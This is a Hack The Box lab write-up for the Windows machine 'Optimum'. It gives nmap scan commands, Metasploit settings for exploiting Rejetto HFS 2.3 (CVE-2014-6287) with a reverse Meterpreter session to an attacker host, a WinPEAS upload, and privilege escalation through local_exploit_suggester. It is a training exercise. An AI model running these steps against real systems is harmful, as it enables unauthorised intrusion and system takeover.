Optimum

---

Optimum – Hack The Box Writeup

Overview

In this machine, the objective is to gain initial access to a Windows host by exploiting a vulnerable web service and then escalate privileges to obtain the administrator flag.

The attack path involved:

• Service enumeration
• Exploitation of Rejetto HTTP File Server 2.3
• Initial access via Metasploit
• Privilege escalation using WinPEAS and Metasploit post-exploitation modules

---

Reconnaissance

We start with a full TCP port scan to identify exposed services.

nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>

The scan reveals port 80 open.

Next, we perform a service and version scan.

nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>

The result identifies the following service:

HttpFileServer 2.3

This service corresponds to Rejetto HTTP File Server, a lightweight file-sharing web server.

---

Vulnerability Identification

After researching the detected version, we discover a known vulnerability:

CVE-2014-6287

This vulnerability allows remote code execution due to improper input sanitization.

---

Exploitation

To exploit the vulnerability, we use Metasploit.

Start Metasploit:

msfconsole -q

Search for the appropriate module:

search rejetto

Load the exploit module:

use exploit/windows/http/rejetto_hfs_exec

Configure the required options:

set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run

Once executed, the exploit provides a Meterpreter session on the target machine.

---

Initial Access

With the obtained Meterpreter session, we navigate the filesystem to retrieve the user flag.

cd
cat user.txt
whoami

The command output shows that we are logged in as:

kostas

Since this user does not have administrative privileges, we proceed with privilege escalation.

---

Privilege Escalation Enumeration

To identify potential privilege escalation vectors, we upload WinPEAS, a well-known Windows privilege escalation enumeration tool.

upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe

We then execute it:

shell
.\wp.exe

The output reveals useful information, including credentials associated with the user kostas.

---

Privilege Escalation

After reviewing possible escalation vectors, we use the Metasploit module:

local_exploit_suggester

Load the module:

use post/multi/recon/local_exploit_suggester

Configure the session:

set SESSION <SESSION_NUMBER>
run

This module suggests possible local exploits that can be used to escalate privileges.

After successfully escalating privileges, we obtain a shell with administrative rights.

Verification:

shell
whoami

---

Administrator Access

Once administrative privileges are obtained, we navigate to the Administrator directory to retrieve the root flag.

cd \Users\Administrator
dir
cd Desktop
dir
type root.txt

---

Key Takeaways

This machine demonstrates several important penetration testing concepts:

• Proper service enumeration is critical to identifying vulnerable software.
• Publicly known vulnerabilities such as CVE-2014-6287 can lead to immediate remote code execution.
• Tools like WinPEAS help identify privilege escalation opportunities in Windows environments.
• Metasploit post-exploitation modules can accelerate the privilege escalation process.